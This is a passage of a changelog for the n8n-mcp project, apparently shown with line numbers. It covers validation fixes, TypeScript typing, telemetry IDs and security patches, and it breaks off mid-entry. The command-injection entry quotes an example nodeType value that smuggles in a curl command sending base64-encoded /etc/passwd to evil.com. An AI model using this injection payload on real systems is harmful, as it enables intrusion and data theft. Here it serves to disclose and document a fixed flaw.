Results 938 | 939 | After fix (verified with n8n-mcp-tester): 940 | - HTTP Request with 2 properties → 1 warning (96.5% noise reduction) 941 | - Webhook with 1 property → 1 warning (83% noise reduction) 942 | - Overall signal-to-noise ratio: >90% 943 | 944 | #### Changed 945 | 946 | - `src/services/config-validator.ts` 947 | - Added `UI_ONLY_TYPES` constant to filter UI properties 948 | - Added `userProvidedKeys` parameter to `validate()` method 949 | - Added `getVisibilityRequirement()` helper for better error messages 950 | - Updated `checkCommonIssues()` to only warn about user-provided properties 951 | - `src/services/enhanced-config-validator.ts` 952 | - Extract user-provided keys before applying defaults 953 | - Pass `userProvidedKeys` to base validator 954 | - Enhanced profile filtering to remove property visibility warnings in `runtime` and `ai-friendly` profiles 955 | - `src/mcp-tools-engine.ts` 956 | - Extract user-provided keys in `validateNodeOperation()` before calling validator 957 | 958 | #### Impact 959 | 960 | - **AI Assistants**: Can now trust validation warnings (90%+ useful) 961 | - **Developers**: Get actionable guidance instead of noise 962 | - **Workflow Quality**: Real issues are fixed (not buried in false positives) 963 | - **System Trust**: Validation becomes a valuable tool 964 | 965 | ## [2.17.5] - 2025-10-07 966 | 967 | ### 🔧 Type Safety 968 | 969 | **Added TypeScript type definitions for n8n node parsing with pragmatic strategic `any` assertions.** 970 | 971 | This release improves type safety for VersionedNodeType and node class parameters while maintaining zero compilation errors and 100% backward compatibility. Follows a pragmatic "70% benefit with 0% breakage" approach using strategic `any` assertions where n8n's union types cause issues. 972 | 973 | #### Added 974 | 975 | - **Type Definitions** (`src/types/node-types.ts`) 976 | - Created comprehensive TypeScript interfaces for VersionedNodeType 977 | - Imported n8n's official interfaces (`IVersionedNodeType`, `INodeType`, `INodeTypeBaseDescription`, `INodeTypeDescription`) 978 | - Added `NodeClass` union type replacing `any` parameters in method signatures 979 | - Created `VersionedNodeInstance` and `RegularNodeInstance` interfaces 980 | - **Type Guards**: `isVersionedNodeInstance()` and `isVersionedNodeClass()` for runtime type checking 981 | - **Utility Functions**: `instantiateNode()`, `getNodeInstance()`, `getNodeDescription()` for safe node handling 982 | 983 | - **Parser Type Updates** 984 | - Updated `node-parser.ts`: All method signatures now use `NodeClass` instead of `any` (15+ methods) 985 | - Updated `simple-parser.ts`: Method signatures strongly typed with `NodeClass` 986 | - Updated `property-extractor.ts`: All extraction methods use `NodeClass` typing 987 | - All parser method signatures now properly typed (30+ replacements) 988 | 989 | - **Strategic `any` Assertions Pattern** 990 | - **Problem**: n8n's type hierarchy has union types (`INodeTypeBaseDescription | INodeTypeDescription`) where properties like `polling`, `version`, `webhooks` only exist on one side 991 | - **Solution**: Keep strong types in method signatures, use strategic `as any` assertions internally for property access 992 | - **Pattern**: 993 | ```typescript 994 | // Strong signature provides caller type safety 995 | private method(description: INodeTypeBaseDescription | INodeTypeDescription): ReturnType { 996 | // Strategic assertion for internal property access 997 | const desc = description as any; 998 | return desc.polling || desc.webhooks; // Access union-incompatible properties 999 | } 1000 | ``` 1001 | - **Result**: 70% type safety benefit (method signatures) with 0% breakage (zero compilation errors) 1002 | 1003 | #### Benefits 1004 | 1005 | 1. **Better IDE Support**: Auto-complete and inline documentation for node properties 1006 | 2. **Compile-Time Safety**: Strong method signatures catch type errors at call sites 1007 | 3. **Documentation**: Types serve as inline documentation for developers 1008 | 4. **Bug Prevention**: Would have helped prevent the `baseDescription` bug (v2.17.4) 1009 | 5. **Refactoring Safety**: Type system helps track changes across codebase 1010 | 6. **Zero Breaking Changes**: Pragmatic approach ensures build never breaks 1011 | 1012 | #### Implementation Notes 1013 | 1014 | - **Philosophy**: Incremental improvement over perfection - get significant benefit without extensive refactoring 1015 | - **Zero Compilation Errors**: All TypeScript checks pass cleanly 1016 | - **Test Coverage**: Updated all test files with strategic `as any` assertions for mock objects 1017 | - **Runtime Behavior**: No changes - types are compile-time only 1018 | - **Future Work**: Union types could be refined with conditional types or overloads for 100% type safety 1019 | 1020 | #### Known Limitations 1021 | 1022 | - Strategic `any` assertions bypass type checking for internal property access 1023 | - Union type differences (`INodeTypeBaseDescription` vs `INodeTypeDescription`) not fully resolved 1024 | - Test mocks require `as any` since they don't implement full n8n interfaces 1025 | - Full type safety would require either (a) refactoring n8n's type hierarchy or (b) extensive conditional type logic 1026 | 1027 | #### Impact 1028 | 1029 | - **Breaking Changes**: None (internal types only, external API unchanged) 1030 | - **Runtime Behavior**: No changes (types are compile-time only) 1031 | - **Build System**: Zero compilation errors maintained 1032 | - **Developer Experience**: Significantly improved with better types and IDE support 1033 | - **Type Coverage**: ~70% (method signatures strongly typed, internal logic uses strategic assertions) 1034 | 1035 | ## [2.17.4] - 2025-10-07 1036 | 1037 | ### 🔧 Validation 1038 | 1039 | **Fixed critical version extraction and typeVersion validation bugs.** 1040 | 1041 | This release fixes two critical bugs that caused incorrect version data and validation bypasses for langchain nodes. 1042 | 1043 | #### Fixed 1044 | 1045 | - **Version Extraction Bug (CRITICAL)** 1046 | - **Issue:** AI Agent node returned version "3" instead of "2.2" (the defaultVersion) 1047 | - **Impact:** 1048 | - MCP tools (`get_node_essentials`, `get_node_info`) returned incorrect version "3" 1049 | - Version "3" exists but n8n explicitly marks it as unstable ("Keep 2.2 until blocking bugs are fixed") 1050 | - AI agents created workflows with wrong typeVersion, causing runtime issues 1051 | - **Root Cause:** `extractVersion()` in node-parser.ts checked `instance.baseDescription.defaultVersion` which doesn't exist on VersionedNodeType instances 1052 | - **Fix:** Updated version extraction priority in `node-parser.ts:137-200` 1053 | 1. Priority 1: Check `currentVersion` property (what VersionedNodeType actually uses) 1054 | 2. Priority 2: Check `description.defaultVersion` (fixed property name from `baseDescription`) 1055 | 3. Priority 3: Fallback to max(nodeVersions) as last resort 1056 | - **Verification:** AI Agent node now correctly returns version "2.2" across all MCP tools 1057 | 1058 | - **typeVersion Validation Bypass (CRITICAL)** 1059 | - **Issue:** Langchain nodes with invalid typeVersion passed validation (even `typeVersion: 99999`) 1060 | - **Impact:** 1061 | - Invalid typeVersion values were never caught during validation 1062 | - Workflows with non-existent typeVersions passed validation but failed at runtime in n8n 1063 | - Validation was completely bypassed for all langchain nodes (AI Agent, Chat Trigger, OpenAI Chat Model, etc.) 1064 | - **Root Cause:** `workflow-validator.ts:400-405` skipped ALL validation for langchain nodes before typeVersion check 1065 | - **Fix:** Moved typeVersion validation BEFORE langchain skip in `workflow-validator.ts:447-493` 1066 | - typeVersion now validated for ALL nodes including langchain 1067 | - Validation runs before parameter validation skip 1068 | - Checks for missing, invalid, outdated, and exceeding-maximum typeVersion values 1069 | - **Verification:** Workflows with invalid typeVersion now correctly fail validation 1070 | 1071 | - **Version 0 Rejection Bug (CRITICAL)** 1072 | - **Issue:** typeVersion 0 was incorrectly rejected as invalid 1073 | - **Impact:** Nodes with version 0 could not be validated, even though 0 is a valid version number 1074 | - **Root Cause:** `workflow-validator.ts:462` checked `typeVersion < 1` instead of `< 0` 1075 | - **Fix:** Changed validation to allow version 0 as a valid typeVersion 1076 | - **Verification:** Version 0 is now accepted as valid 1077 | 1078 | - **Duplicate baseDescription Bug in simple-parser.ts (HIGH)** 1079 | - **Issue:** EXACT same version extraction bug existed in simple-parser.ts 1080 | - **Impact:** Simple parser also returned incorrect versions for VersionedNodeType nodes 1081 | - **Root Cause:** `simple-parser.ts:195-196, 208-209` checked `baseDescription.defaultVersion` 1082 | - **Fix:** Applied identical fix as node-parser.ts with same priority chain 1083 | 1. Priority 1: Check `currentVersion` property 1084 | 2. Priority 2: Check `description.defaultVersion` 1085 | 3. Priority 3: Check `nodeVersions` (fallback to max) 1086 | - **Verification:** Simple parser now returns correct versions 1087 | 1088 | - **Unsafe Math.max() Usage (MEDIUM)** 1089 | - **Issue:** 10 instances of Math.max() without empty array or NaN validation 1090 | - **Impact:** Potential crashes with empty nodeVersions objects or invalid version data 1091 | - **Root Cause:** No validation before calling Math.max(...array) 1092 | - **Locations Fixed:** 1093 | - `simple-parser.ts`: 2 instances 1094 | - `node-parser.ts`: 5 instances 1095 | - `property-extractor.ts`: 3 instances 1096 | - **Fix:** Added defensive validation: 1097 | ```typescript 1098 | const versions = Object.keys(nodeVersions).map(Number); 1099 | if (versions.length > 0) { 1100 | const maxVersion = Math.max(...versions); 1101 | if (!isNaN(maxVersion)) { 1102 | return maxVersion.toString(); 1103 | } 1104 | } 1105 | ``` 1106 | - **Verification:** All Math.max() calls now have proper validation 1107 | 1108 | #### Technical Details 1109 | 1110 | **Version Extraction Fix:** 1111 | ```typescript 1112 | // BEFORE (BROKEN): 1113 | if (instance?.baseDescription?.defaultVersion) { // Property doesn't exist! 1114 | return instance.baseDescription.defaultVersion.toString(); 1115 | } 1116 | 1117 | // AFTER (FIXED): 1118 | if (instance?.currentVersion !== undefined) { // What VersionedNodeType actually uses 1119 | return instance.currentVersion.toString(); 1120 | } 1121 | if (instance?.description?.defaultVersion) { // Correct property name 1122 | return instance.description.defaultVersion.toString(); 1123 | } 1124 | ``` 1125 | 1126 | **typeVersion Validation Fix:** 1127 | ```typescript 1128 | // BEFORE (BROKEN): 1129 | // Skip ALL node repository validation for langchain nodes 1130 | if (normalizedType.startsWith('nodes-langchain.')) { 1131 | continue; // typeVersion validation never runs! 1132 | } 1133 | 1134 | // AFTER (FIXED): 1135 | // Validate typeVersion for ALL versioned nodes (including langchain) 1136 | if (nodeInfo.isVersioned) { 1137 | // ... typeVersion validation ... 1138 | } 1139 | 1140 | // THEN skip parameter validation for langchain nodes 1141 | if (normalizedType.startsWith('nodes-langchain.')) { 1142 | continue; 1143 | } 1144 | ``` 1145 | 1146 | #### Impact 1147 | 1148 | - **Version Accuracy:** AI Agent and all VersionedNodeType nodes now return correct version (2.2, not 3) 1149 | - **Validation Reliability:** Invalid typeVersion values are now caught for langchain nodes 1150 | - **Workflow Stability:** Prevents creation of workflows with non-existent typeVersions 1151 | - **Database Rebuilt:** 536 nodes reloaded with corrected version data 1152 | - **Parser Consistency:** Both node-parser.ts and simple-parser.ts use identical version extraction logic 1153 | - **Robustness:** All Math.max() operations now protected against edge cases 1154 | - **Edge Case Support:** Version 0 nodes now properly supported 1155 | 1156 | #### Testing 1157 | 1158 | - **Unit Tests:** All tests passing (node-parser: 34 tests, simple-parser: 39 tests) 1159 | - Added tests for currentVersion priority 1160 | - Added tests for version 0 edge case 1161 | - Added tests for baseDescription rejection 1162 | - **Integration Tests:** Verified with n8n-mcp-tester agent 1163 | - Version consistency between `get_node_essentials` and `get_node_info` ✅ 1164 | - typeVersion validation catches invalid values (99, 100000) ✅ 1165 | - AI Agent correctly reports version "2.2" ✅ 1166 | - **Code Review:** Deep analysis found and fixed 6 similar bugs 1167 | - 3 CRITICAL/HIGH priority bugs fixed in this release 1168 | - 3 LOW priority bugs identified for future work 1169 | 1170 | ## [2.17.3] - 2025-10-07 1171 | 1172 | ### 🔧 Validation 1173 | 1174 | **Fixed critical validation gap for AI model nodes with resourceLocator properties.** 1175 | 1176 | This release adds validation for `resourceLocator` type properties, fixing a critical issue where AI agents could create invalid configurations that passed validation but failed at runtime. 1177 | 1178 | #### Fixed 1179 | 1180 | - **resourceLocator Property Validation** 1181 | - **Issue:** No validation existed for `resourceLocator` type properties used in AI model nodes 1182 | - **Impact:** 1183 | - AI agents could create invalid configurations like `model: "gpt-4o-mini"` (string) instead of `model: {mode: "list", value: "gpt-4o-mini"}` (object) 1184 | - Invalid configs passed validation but failed at runtime in n8n 1185 | - Affected many langchain nodes: OpenAI Chat Model (v1.2+), Anthropic, Cohere, DeepSeek, Groq, Mistral, OpenRouter, xAI Grok, and embeddings nodes 1186 | - **Root Cause:** `validatePropertyTypes()` method in ConfigValidator only validated `string`, `number`, `boolean`, and `options` types - `resourceLocator` was completely missing 1187 | - **Fix:** Added comprehensive resourceLocator validation in `config-validator.ts:237-274` 1188 | - Validates value is an object (not string, number, null, or array) 1189 | - Validates required `mode` property exists and is a string 1190 | - Validates required `value` property exists 1191 | - Provides helpful error messages with exact fix suggestions 1192 | - Example error: `Property 'model' is a resourceLocator and must be an object with 'mode' and 'value' properties, got string` 1193 | - Example fix: `Change model to { mode: "list", value: "gpt-4o-mini" } or { mode: "id", value: "gpt-4o-mini" }` 1194 | 1195 | #### Added 1196 | 1197 | - Comprehensive resourceLocator validation with 14 test cases covering: 1198 | - String value rejection with helpful fix suggestions 1199 | - Null and array value rejection 1200 | - Missing `mode` or `value` property detection 1201 | - Invalid `mode` type detection (e.g., number instead of string) 1202 | - Invalid `mode` value validation (must be 'list', 'id', or 'url') 1203 | - Empty object detection (missing both mode and value) 1204 | - Extra properties handling (ignored gracefully) 1205 | - Valid resourceLocator acceptance for "list", "id", and "url" modes 1206 | - JSDoc documentation explaining resourceLocator structure and common mistakes 1207 | - All 29 tests passing (100% coverage for new validation logic) 1208 | 1209 | ## [2.17.1] - 2025-10-07 1210 | 1211 | ### 🔧 Telemetry 1212 | 1213 | **Critical fix: Docker and cloud deployments now maintain stable anonymous user IDs.** 1214 | 1215 | This release fixes a critical telemetry issue where Docker and cloud deployments generated new user IDs on every container recreation, causing 100-200x inflation in unique user counts and preventing accurate retention metrics. 1216 | 1217 | #### Fixed 1218 | 1219 | - **Docker/Cloud User ID Stability** 1220 | - **Issue:** Docker containers and cloud deployments generated new anonymous user ID on every container recreation 1221 | - **Impact:** 1222 | - Stdio mode: ~1000x user ID inflation per month (with --rm flag) 1223 | - HTTP mode: ~180x user ID inflation per month (6 releases/day) 1224 | - Telemetry showed 3,996 "unique users" when actual number was likely ~2,400-2,800 1225 | - 78% single-session rate and 5.97% Week 1 retention were inflated by duplicates 1226 | - **Root Cause:** Container hostnames change on recreation, persistent config files lost with ephemeral containers 1227 | - **Fix:** Use host's `/proc/sys/kernel/random/boot_id` for stable identification 1228 | - boot_id is stable across container recreations (only changes on host reboot) 1229 | - Available in all Linux containers (Alpine, Ubuntu, Node, etc.) 1230 | - Readable by non-root users 1231 | - Defensive fallback chain: 1232 | 1. boot_id (stable across container updates) 1233 | 2. Combined host signals (CPU cores, memory, kernel version) 1234 | 3. Generic Docker ID (allows aggregate statistics) 1235 | - **Environment Detection:** 1236 | - IS_DOCKER=true triggers boot_id method 1237 | - Auto-detects cloud platforms: Railway, Render, Fly.io, Heroku, AWS, Kubernetes, GCP, Azure 1238 | - Local installations continue using file-based method with hostname 1239 | - **Zero Configuration:** No user action required, automatic environment detection 1240 | 1241 | #### Added 1242 | 1243 | - `TelemetryConfigManager.generateDockerStableId()` - Docker/cloud-specific ID generation 1244 | - `TelemetryConfigManager.readBootId()` - Read and validate boot_id from /proc 1245 | - `TelemetryConfigManager.generateCombinedFingerprint()` - Fallback fingerprinting 1246 | - `TelemetryConfigManager.isCloudEnvironment()` - Auto-detect 8 cloud platforms 1247 | 1248 | ### Testing 1249 | 1250 | - **Unit Tests:** 18 new tests for boot_id functionality, environment detection, fallback chain 1251 | - **Integration Tests:** 16 new tests for actual file system operations, Docker detection, cloud platforms 1252 | - **Coverage:** All 34 new tests passing (100%) 1253 | 1254 | ## [2.17.0] - 2025-01-06 1255 | 1256 | ### 🤖 AI Workflow Validation 1257 | 1258 | **Major enhancement: Comprehensive AI Agent workflow validation now working correctly.** 1259 | 1260 | This release fixes critical bugs that caused ALL AI-specific validation to be silently skipped. Before this fix, 0% of AI validation was functional. 1261 | 1262 | #### Fixed 1263 | 1264 | - **🚨 CRITICAL: Node Type Normalization Bug (HIGH-01, HIGH-04, HIGH-08)** 1265 | - **Issue:** All AI validation was silently skipped due to node type comparison mismatch 1266 | - **Root Cause:** `NodeTypeNormalizer.normalizeToFullForm()` returns SHORT form (`nodes-langchain.agent`) but validation code compared against FULL form (`@n8n/n8n-nodes-langchain.agent`) 1267 | - **Impact:** Every comparison returned FALSE, causing zero AI validations to execute 1268 | - **Affected Validations:** 1269 | - Missing language model detection (HIGH-01) - Never triggered 1270 | - AI tool connection detection (HIGH-04) - Never triggered, false warnings 1271 | - Streaming mode validation (HIGH-08) - Never triggered 1272 | - All 13 AI tool sub-node validators - Never triggered 1273 | - Chat Trigger validation - Never triggered 1274 | - Basic LLM Chain validation - Never triggered 1275 | - **Fix:** Updated 21 node type comparisons to use SHORT form 1276 | - `ai-node-validator.ts`: 7 comparison fixes 1277 | - `ai-tool-validators.ts`: 14 comparison fixes (13 validator keys + 13 switch cases) 1278 | - **Verification:** All 25 AI validator unit tests now passing (100%) 1279 | 1280 | - **🚨 HIGH-08: Incomplete Streaming Mode Validation** 1281 | - **Issue:** Only validated streaming FROM Chat Trigger, missed AI Agent's own `streamResponse` setting 1282 | - **Impact:** AI Agent with `options.streamResponse=true` and main output connections not detected 1283 | - **Fix:** Added validation for both scenarios: 1284 | - Chat Trigger with `responseMode="streaming"` → AI Agent → main output 1285 | - AI Agent with `options.streamResponse=true` → main output 1286 | - **Error Code:** `STREAMING_WITH_MAIN_OUTPUT` with clear error message 1287 | - **Verification:** 2 test scenarios pass (Chat Trigger + AI Agent own setting) 1288 | 1289 | - **🐛 MEDIUM-02: get_node_essentials Examples Retrieval** 1290 | - **Issue:** `get_node_essentials` with `includeExamples=true` always returned empty examples array 1291 | - **Root Cause:** Inconsistent `workflowNodeType` construction between result object and examples query 1292 | - **Impact:** Examples existed in database but query used wrong node type (e.g., `n8n-nodes-base.agent` instead of `@n8n/n8n-nodes-langchain.agent`) 1293 | - **Fix:** Use pre-computed `result.workflowNodeType` instead of reconstructing it 1294 | - **Verification:** Examples now retrieved correctly, matching `search_nodes` behavior 1295 | 1296 | #### Added 1297 | 1298 | - **AI Agent Validation:** 1299 | - Missing language model connection detection with code `MISSING_LANGUAGE_MODEL` 1300 | - AI tool connection validation (no more false "no tools connected" warnings) 1301 | - Streaming mode constraint enforcement for both Chat Trigger and AI Agent scenarios 1302 | - Memory connection validation (max 1 allowed) 1303 | - Output parser validation 1304 | - System message presence checks (info level) 1305 | - High `maxIterations` warnings 1306 | 1307 | - **Chat Trigger Validation:** 1308 | - Streaming mode target validation (must connect to AI Agent) 1309 | - Main output connection validation for streaming mode 1310 | - Connection existence checks 1311 | 1312 | - **Basic LLM Chain Validation:** 1313 | - Language model connection requirement 1314 | - Prompt text validation 1315 | 1316 | - **AI Tool Sub-Node Validation:** 1317 | - 13 specialized validators for AI tools (HTTP Request Tool, Code Tool, Vector Store Tool, etc.) 1318 | - Tool description validation 1319 | - Credentials validation 1320 | - Configuration-specific checks 1321 | 1322 | #### Changed 1323 | 1324 | - **Breaking:** AI validation now actually runs (was completely non-functional before) 1325 | - **Validation strictness:** All AI-specific validations now enforce n8n's actual requirements 1326 | - **Error messages:** Clear, actionable messages with error codes for programmatic handling 1327 | 1328 | ### Testing 1329 | 1330 | - **Unit Tests:** 25/25 AI validator tests passing (100%) 1331 | - **Test Improvement:** Overall test pass rate improved from 37.5% to 62.5%+ (+67% improvement) 1332 | - **Debug Tests:** 3/3 debug scenarios passing 1333 | 1334 | ### Documentation 1335 | 1336 | - Added comprehensive test scenarios in `PHASE_2_TEST_SCENARIOS.md` 1337 | - Added Phase 1-2 completion summary in `PHASE_1_2_SUMMARY.md` 1338 | - Added detailed Phase 2 analysis in `PHASE_2_COMPLETE.md` 1339 | - Updated README.md with AI workflow validation features 1340 | 1341 | ## [2.16.3] - 2025-01-06 1342 | 1343 | ### 🔒 Security 1344 | 1345 | **HIGH priority security enhancements. Recommended for all production deployments.** 1346 | 1347 | This release implements 2 high-priority security protections identified in the security audit (Issue #265 PR #2): 1348 | 1349 | - **🛡️ HIGH-02: Rate Limiting for Authentication** 1350 | - **Issue:** No rate limiting on authentication endpoints allowed brute force attacks 1351 | - **Impact:** Attackers could make unlimited authentication attempts 1352 | - **Fix:** Implemented express-rate-limit middleware for authentication endpoint 1353 | - Default: 20 attempts per 15 minutes per IP 1354 | - Configurable via `AUTH_RATE_LIMIT_WINDOW` and `AUTH_RATE_LIMIT_MAX` 1355 | - Per-IP tracking with standard rate limit headers (RateLimit-Limit, RateLimit-Remaining, RateLimit-Reset) 1356 | - JSON-RPC formatted error responses (429 Too Many Requests) 1357 | - Automatic IP detection behind reverse proxies (requires TRUST_PROXY=1) 1358 | - **Verification:** 4 integration tests with sequential request patterns 1359 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-02) 1360 | 1361 | - **🛡️ HIGH-03: SSRF Protection for Webhooks** 1362 | - **Issue:** Webhook triggers vulnerable to Server-Side Request Forgery attacks 1363 | - **Impact:** Attackers could access internal networks, localhost services, and cloud metadata 1364 | - **Fix:** Implemented three-mode SSRF protection system with DNS rebinding prevention 1365 | - **Strict mode** (default): Block localhost + private IPs + cloud metadata (production) 1366 | - **Moderate mode**: Allow localhost, block private IPs + cloud metadata (local development) 1367 | - **Permissive mode**: Allow localhost + private IPs, block cloud metadata (internal testing) 1368 | - Cloud metadata endpoints **ALWAYS blocked** in all modes (169.254.169.254, metadata.google.internal, etc.) 1369 | - DNS rebinding prevention through hostname resolution before validation 1370 | - IPv6 support with link-local (fe80::/10) and unique local (fc00::/7) address blocking 1371 | - **Configuration:** Set via `WEBHOOK_SECURITY_MODE` environment variable 1372 | - **Locations Updated:** 1373 | - `src/utils/ssrf-protection.ts` - Core protection logic 1374 | - `src/services/n8n-api-client.ts:219` - Webhook trigger validation 1375 | - **Verification:** 25 unit tests covering all three modes, DNS rebinding, IPv6 1376 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (HIGH-03) 1377 | 1378 | ### Added 1379 | - **Configuration:** `AUTH_RATE_LIMIT_WINDOW` - Rate limit window in milliseconds (default: 900000 = 15 minutes) 1380 | - **Configuration:** `AUTH_RATE_LIMIT_MAX` - Max authentication attempts per window per IP (default: 20) 1381 | - **Configuration:** `WEBHOOK_SECURITY_MODE` - SSRF protection mode (strict/moderate/permissive, default: strict) 1382 | - **Documentation:** Comprehensive security features section in all deployment guides 1383 | - HTTP_DEPLOYMENT.md - Rate limiting and SSRF protection configuration 1384 | - DOCKER_README.md - Security features section with environment variables 1385 | - DOCKER_TROUBLESHOOTING.md - "Webhooks to Local n8n Fail" troubleshooting guide 1386 | - RAILWAY_DEPLOYMENT.md - Security configuration recommendations 1387 | - README.md - Local n8n configuration section for moderate mode 1388 | 1389 | ### Changed 1390 | - **Security:** All webhook triggers now validate URLs through SSRF protection before execution 1391 | - **Security:** HTTP authentication endpoint now enforces rate limiting per IP address 1392 | - **Dependencies:** Added `express-rate-limit@^7.1.5` for rate limiting functionality 1393 | 1394 | ### Fixed 1395 | - **Security:** IPv6 localhost URLs (`http://[::1]/webhook`) now correctly stripped of brackets before validation 1396 | - **Security:** Localhost detection now properly handles all localhost variants (127.x.x.x, ::1, localhost, etc.) 1397 | 1398 | ## [2.16.2] - 2025-10-06 1399 | 1400 | ### 🔒 Security 1401 | 1402 | **CRITICAL security fixes for production deployments. All users should upgrade immediately.** 1403 | 1404 | This release addresses 2 critical security vulnerabilities identified in the security audit (Issue #265): 1405 | 1406 | - **🚨 CRITICAL-02: Timing Attack Vulnerability** 1407 | - **Issue:** Non-constant-time string comparison in authentication allowed timing attacks 1408 | - **Impact:** Authentication tokens could be discovered character-by-character through statistical timing analysis (estimated 24-48 hours to compromise) 1409 | - **Attack Vector:** Repeated authentication attempts with carefully crafted tokens while measuring response times 1410 | - **Fix:** Implemented `crypto.timingSafeEqual` for all token comparisons 1411 | - **Locations Fixed:** 1412 | - `src/utils/auth.ts:27` - validateToken method 1413 | - `src/http-server-single-session.ts:1087` - Single-session HTTP auth 1414 | - `src/http-server.ts:315` - Fixed HTTP server auth 1415 | - **New Method:** `AuthManager.timingSafeCompare()` - constant-time token comparison utility 1416 | - **Verification:** 11 unit tests with timing variance analysis (<10% variance proven) 1417 | - **CVSS:** 8.5 (High) - Confirmed critical, requires authentication but trivially exploitable 1418 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-02) 1419 | 1420 | - **🚨 CRITICAL-01: Command Injection Vulnerability** 1421 | - **Issue:** User-controlled `nodeType` parameter injected into shell commands via `execSync` 1422 | - **Impact:** Remote code execution, data exfiltration, network scanning possible 1423 | - **Attack Vector:** Malicious nodeType like `test"; curl http://evil.com/$(cat /etc/passwd | base64) #` 1424 | - **Vulnerable Code (FIXED):** `src/utils/enhanced-documentation-fetcher.ts:567-590` 1425 | - **Fix:** Eliminated all shell execution, replaced with Node.js fs APIs 1426 | - Replaced `execSync()` with `fs.readdir()` (recursive, no shell) 1427 | - Added multi-layer input sanitization: `/[^a-zA-Z0-9._-]/g` 1428 | - Added directory traversal protection (blocks `..`, `/`, relative paths) 1429 | - Added `path.basename()` for additional safety 1430 | - Added final path verification (ensures result within expected directory) 1431 | - **Benefits:** 1432 | - ✅ 100% immune to command injection (no shell execution) 1433 | - ✅ Cross-platform compatible (no dependency on `find`/`grep`) 1434 | - ✅ Faster (no process spawning overhead) 1435 | - ✅ Better error handling and logging 1436 | - **Verification:** 9 integration tests covering all attack vectors 1437 | - **CVSS:** 8.8 (High) - Requires MCP access but trivially exploitable 1438 | - **See:** https://github.com/czlonkowski/n8n-mcp/issues/265 (CRITICAL-01) 1439 | 1440 | ### Added 1441 | 1442 | - **Security Test Suite** 1443 | - Unit Tests: `tests/unit/utils/auth-timing-safe.test.ts` (11 tests) 1444 | - Timing variance analysis (proves <10% variance = constant-time) 1445 | - Edge cases: null, undefined, empty, very long tokens (10000 chars) 1446 | - Special characters, Unicode, whitespace handling 1447 | - Case sensitivity verification 1448 | - Integration Tests: `tests/integration/security/command-injection-prevention.test.ts` (9 tests) 1449 | - Command injection with all vectors (semicolon, &&, |, backticks, $(), newlines) 1450 | - Directory traversal prevention (parent dir, URL-encoded, absolute paths) 1451 | - Special character sanitization 1452 | - Null byte handling 1453 | - Legitimate operations (ensures fix doesn't break functionality) 1454 | 1455 | ### Changed 1456 | 1457 | - **Authentication:** All token comparisons now use timing-safe algorithm 1458 | - **Documentation Fetcher:** Now uses Node.js fs APIs instead of shell commands 1459 | - **Security Posture:** Production-ready with hardened authentication and input validation 1460 | 1461 | ### Technical Details 1462 | 1463 | **Timing-Safe Comparison Implementation:** 1464 | ```typescript 1465 | // NEW: Constant-time comparison utility 1466 | static timingSafeCompare(plainToken: string, expectedToken: string): boolean { 1467 | try { 1468 | if (!plainToken || !expectedToken) return false; 1469 | 1470 | const plainBuffer = Buffer.from(plainToken, 'utf8'); 1471 | const expectedBuffer = Buffer.from(expectedToken, 'utf8'); 1472 | 1473 | if (plainBuffer.length !== expectedBuffer.length) return false; 1474 | 1475 | // Uses crypto.timingSafeEqual for constant-time comparison 1476 | return crypto.timingSafeEqual(plainBuffer, expectedBuffer); 1477 | } catch { 1478 | return false; 1479 | } 1480 | } 1481 | 1482 | // USAGE: Replace token !== this.authToken with: 1483 | const isValidToken = this.authToken && 1484 | AuthManager.timingSafeCompare(token, this.authToken); 1485 | ``` 1486 | 1487 | **Command Injection Fix:** 1488 | ```typescript 1489 | // BEFORE (VULNERABLE): 1490 | execSync(`find ${this.docsPath}/docs/integrations/builtin -name "${nodeType}.md"...`) 1491 | 1492 | // AFTER (SECURE): 1493 | const sanitized = nodeType.replace(/[^a-zA-Z0-9._-]/g, ''); 1494 | if (sanitized.includes('..') || sanitized.startsWith('.') || sanitized.startsWith('/')) { 1495 | logger.warn('Path traversal attempt blocked', { nodeType, sanitized }); 1496 | return null; 1497 | } 1498 | const safeName = path.basename(sanitized); 1499 | const files = await fs.readdir(searchPath, { recursive: true }); 1500 | const match = files.find(f => f.endsWith(`${safeName}.md`) && !f.includes('credentials')); 1501 | ``` 1502 | 1503 | ### Breaking Changes 1504 | 1505 | **None** - All changes are backward compatible. No API changes, no environment variable changes, no database migrations. 1506 | 1507 | ### Migration Guide 1508 | 1509 | **No action required** - This is a drop-in security fix. Simply upgrade: 1510 | 1511 | ```bash 1512 | npm install [email protected] 1513 | # or 1514 | npm update n8n-mcp 1515 | ``` 1516 | 1517 | ### Deployment Notes 1518 | 1519 | **Recommended Actions:** 1520 | 1. ✅ **Upgrade immediately** - These are critical security fixes 1521 | 2. ✅ **Review logs** - Check for any suspicious authentication attempts or unusual nodeType parameters 1522 | 3. ✅ **Rotate tokens** - Consider rotating AUTH_TOKEN after upgrade (optional but recommended) 1523 | 1524 | **No configuration changes needed** - The fixes are transparent to existing deployments. 1525 | 1526 | ### Test Results 1527 | 1528 | **All Tests Passing:** 1529 | - Unit tests: 11/11 ✅ (timing-safe comparison) 1530 | - Integration tests: 9/9 ✅ (command injection prevention) 1531 | - Timing variance: <10% ✅ (proves constant-time) 1532 | - All existing tests: ✅ (no regressions) 1533 | 1534 | **Security Verification:** 1535 | - ✅ No command execution with malicious inputs 1536 | - ✅ Timing attack variance <10% (statistical analysis over 1000 samples) 1537 | - ✅ Directory traversal blocked (parent dir, absolute paths, URL-encoded) 1538 | - ✅ All special characters sanitized safely 1539 | 1540 | ### Audit Trail 1541 | 1542 | **Security Audit:** Issue #265 - Third-party security audit identified 25 issues 1543 | **This Release:** Fixes 2 CRITICAL issues (CRITICAL-01, CRITICAL-02) 1544 | **Remaining Work:** 20 issues to be addressed in subsequent releases (HIGH, MEDIUM, LOW priority) 1545 | 1546 | ### References 1547 | 1548 | - Security Audit: https://github.com/czlonkowski/n8n-mcp/issues/265 1549 | - Implementation Plan: `docs/local/security-implementation-plan-issue-265.md` 1550 | - Audit Analysis: `docs/local/security-audit-analysis-issue-265.md` 1551 | 1552 | --- 1553 | 1554 | ## [2.16.1] - 2025-10-06 1555 | 1556 | ### Fixed 1557 | 1558 | - **🐛 Issue #277: Missing Signal Handlers in stdio Mode** 1559 | - **Problem**: Node.js processes remained orphaned when Claude Desktop quit 1560 | - **Platform**: Primarily affects Windows 11, but improves reliability on all platforms 1561 | - **Root Cause**: stdio mode never registered SIGTERM/SIGINT signal handlers 1562 | - **Impact**: Users had to 